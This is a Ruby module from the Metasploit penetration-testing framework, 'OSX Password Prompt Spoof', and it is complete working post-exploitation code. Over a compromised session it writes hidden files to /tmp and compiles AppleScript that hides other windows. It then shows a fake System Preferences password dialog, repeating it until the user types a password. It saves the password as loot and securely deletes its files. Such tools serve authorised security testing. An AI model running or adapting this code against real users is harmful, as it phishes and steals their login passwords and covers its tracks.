metasploit-framework/modules/post/osx/gather/password_prompt_spoof.rb

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'
require 'rex'

class Metasploit3 < Msf::Post
	include Msf::Post::File
	include Msf::Auxiliary::Report

	def initialize(info={})
		super( update_info( info,
				'Name'          => 'OSX Password Prompt Spoof',
				'Description'   => %q{
					Presents a password prompt dialog to a logged-in OSX user.
				},
				'License'       => MSF_LICENSE,
				'Author'        => [
					'Joff Thyer <jsthyer[at]gmail.com>', # original post module
					'joev <jvennix[at]rapid7.com>' # bug fixes
				],
				'Platform'      => [ 'osx' ],
				'References'    => [
					['URL', 'http://blog.packetheader.net/2011/10/fun-with-applescript.html']
				],
				'SessionTypes'  => [ "shell", "meterpreter" ]
			))

		register_options([
			OptString.new(
				'TEXTCREDS',
				[
					true,
					'Text displayed when asking for password',
					'Type your password to allow System Preferences to make changes'
				]
			),
			OptString.new(
				'ICONFILE',
				[
					true,
					'Icon filename relative to bundle',
					'UserUnknownIcon.icns'
				]
			),
			OptString.new(
				'BUNDLEPATH',
				[
					true,
					'Path to bundle containing icon',
					'/System/Library/CoreServices/CoreTypes.bundle'
				]
			),
			OptInt.new('TIMEOUT', [true, 'Timeout for user to enter credentials', 60])
		], self.class)
	end

	def cmd_exec(str)
		print_status "Running cmd '#{str}'..."
		super
	end

	# Run Method for when run command is issued
	def run
		if client.nil?
			print_error("Invalid session ID selected. Make sure the host isn't dead.")
			return
		end

		host = case session.type
		when /meterpreter/
			sysinfo["Computer"]
		when /shell/
			cmd_exec("/bin/hostname").chomp
		end

		print_status("Running module against #{host}")

		dir       = "/tmp/." + Rex::Text.rand_text_alpha((rand(8)+6))
		runme     = dir + "/" + Rex::Text.rand_text_alpha((rand(8)+6))
		creds_osa = dir + "/" + Rex::Text.rand_text_alpha((rand(8)+6))
		creds     = dir + "/" + Rex::Text.rand_text_alpha((rand(8)+6))
		pass_file = dir + "/" + Rex::Text.rand_text_alpha((rand(8)+6))

		username = cmd_exec("/usr/bin/whoami").strip
		cmd_exec("umask 0077")
		cmd_exec("/bin/mkdir #{dir}")

		# write the script that will launch things
		write_file(runme, run_script)
		cmd_exec("/bin/chmod 700 #{runme}")

		# write the credentials script, compile and run
		write_file(creds_osa,creds_script(pass_file))
		cmd_exec("/usr/bin/osacompile -o #{creds} #{creds_osa}")
		cmd_exec("#{runme} #{creds}")
		print_status("Waiting for user '#{username}' to enter credentials...")

		timeout = ::Time.now.to_f + datastore['TIMEOUT'].to_i
		pass_found = false
		while (::Time.now.to_f < timeout)
			if ::File.exist?(pass_file)
				print_status("Password entered! What a nice compliant user...")
				pass_found = true
				break
			end
			Rex.sleep(0.5)
		end

		if pass_found
			password_data = read_file("#{pass_file}").strip
			print_good("password file contents: #{password_data}")
			passf = store_loot("password", "text/plain", session, password_data, "passwd.pwd", "OSX Password")
			print_good("Password data stored as loot in: #{passf}")
		else
			print_status("Timeout period expired before credentials were entered!")
		end

		print_status("Cleaning up files in #{host}:#{dir}")
		cmd_exec("/usr/bin/srm -rf #{dir}")
	end

	# "wraps" the #creds_script applescript and allows it to make UI calls
	def run_script
		%Q{
			#!/bin/bash
			osascript <<EOF
			set scriptfile to "$1"
			tell application "AppleScript Runner"
				do script scriptfile
			end tell
			EOF
		}
	end

	# applescript that displays the actual password prompt dialog
	def creds_script(pass_file)
		textcreds = datastore['TEXTCREDS']
		ascript = %Q{
			set filename to "#{pass_file}"
			set myprompt to "#{textcreds}"
			set ans to "Cancel"
			repeat
				try
					tell application "Finder"
						activate
						tell application "System Events" to keystroke "h" using {command down, option down}
						set d_returns to display dialog myprompt default answer "" with hidden answer buttons {"Cancel", "OK"} default button "OK" with icon path to resource "#{datastore['ICONFILE']}" in bundle "#{datastore['BUNDLEPATH']}"
						set ans to button returned of d_returns
						set mypass to text returned of d_returns
						if ans is equal to "OK" and mypass is not equal to "" then exit repeat
					end tell
				end try
			end repeat
			try
				set now to do shell script "date '+%Y%m%d_%H%M%S'"
					set user to do shell script "whoami"
				set myfile to open for access filename with write permission
				set outstr to now & ":" & user & ":" & mypass & "
			"
				write outstr to myfile starting at eof
				close access myfile
			on error
				try
					close access myfile
				end try
			end try
		}
	end

	# Checks if the target is OSX Server
	def check_server
		cmd_exec("/usr/bin/sw_vers -productName").chomp  =~ /Server/
	end

	# Enumerate the OS Version
	def get_ver
		# Get the OS Version
		cmd_exec("/usr/bin/sw_vers", "-productVersion").chomp
	end
end